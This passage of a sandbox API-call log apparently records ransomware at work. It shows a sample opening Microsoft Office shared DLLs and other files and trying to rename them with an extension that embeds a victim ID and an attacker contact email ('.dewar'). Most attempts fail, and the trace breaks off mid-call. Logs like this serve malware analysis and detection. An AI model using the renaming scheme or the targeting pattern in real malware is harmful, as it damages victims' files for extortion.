returned 0x20 [0237.711] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0237.712] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\RICHED20.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\riched20.dll")) returned 0 [0237.713] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0237.714] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=591736) returned 1 [0237.715] CloseHandle (hObject=0x1e0) returned 1 [0237.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll")) returned 0x20 [0237.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll")) returned 0x20 [0237.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.715] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\SERCONV.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\serconv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0237.717] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=813824) returned 1 [0237.718] CloseHandle (hObject=0x1e0) returned 1 [0237.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll")) returned 0x20 [0237.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll")) returned 0x20 [0237.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\USP10.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\usp10.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0237.719] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=49488) returned 1 [0237.720] CloseHandle (hObject=0x1e0) returned 1 [0237.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll")) returned 0x20 [0237.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll")) returned 0x20 [0237.720] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.720] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\VBAJET32.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\vbajet32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0237.721] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0237.871] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=147344) returned 1 [0237.872] CloseHandle (hObject=0x1e4) returned 1 [0237.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll")) returned 0x20 [0237.872] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll")) returned 0x20 [0237.873] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0237.873] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\WISC30.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\wisc30.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.031] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.035] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=1828608) returned 1 [0238.035] CloseHandle (hObject=0x1e4) returned 1 [0238.035] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll")) returned 0x20 [0238.035] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0238.035] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPCEXT.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppcext.dll")) returned 0 [0238.036] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.041] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=11646) returned 1 [0238.042] CloseHandle (hObject=0x1e4) returned 1 [0238.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms")) returned 0x20 [0238.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms")) returned 0x20 [0238.042] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.043] SetEvent (hEvent=0x118) returned 1 [0238.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.044] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=2173696) returned 1 [0238.044] CloseHandle (hObject=0x1e4) returned 1 [0238.044] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll")) returned 0x20 [0238.044] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0238.045] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs.dll")) returned 0 [0238.045] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.050] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=15712) returned 1 [0238.050] CloseHandle (hObject=0x1e4) returned 1 [0238.050] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe")) returned 0x20 [0238.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe")) returned 0x20 [0238.051] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.051] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPREARM.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\ospprearm.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.052] SetEvent (hEvent=0x118) returned 1 [0238.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.053] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=4925184) returned 1 [0238.053] CloseHandle (hObject=0x1e4) returned 1 [0238.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe")) returned 0x20 [0238.053] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0 [0238.054] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppsvc.exe")) returned 0 [0238.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.055] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=146192) returned 1 [0238.055] CloseHandle (hObject=0x1e4) returned 1 [0238.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll")) returned 0x20 [0238.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll")) returned 0x20 [0238.056] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.056] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.057] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.057] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=47710) returned 1 [0238.057] CloseHandle (hObject=0x1e4) returned 1 [0238.057] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof")) returned 0x20 [0238.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof")) returned 0x20 [0238.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.061] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=591168) returned 1 [0238.061] CloseHandle (hObject=0x1e4) returned 1 [0238.061] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll")) returned 0x20 [0238.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll")) returned 0x20 [0238.062] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.062] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSLID.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mslid.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.064] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.075] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=444027) returned 1 [0238.075] CloseHandle (hObject=0x1e4) returned 1 [0238.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex")) returned 0x20 [0238.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex")) returned 0x20 [0238.075] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.076] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_EN.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_en.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.076] SetEvent (hEvent=0x118) returned 1 [0238.076] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.077] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: lpFileSize=0x2eefea0*=395651) returned 1 [0238.077] CloseHandle (hObject=0x1e4) returned 1 [0238.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex")) returned 0x20 [0238.077] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex")) returned 0x20 [0238.078] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0238.078] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_ES.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_es.lex"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.079] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\PROOF\\MSWDS_FR.LEX" (normalized: "c:\\program files\\common files\\microsoft shared\\proof\\mswds_fr.lex"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0238.085] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2eefea0 | out: 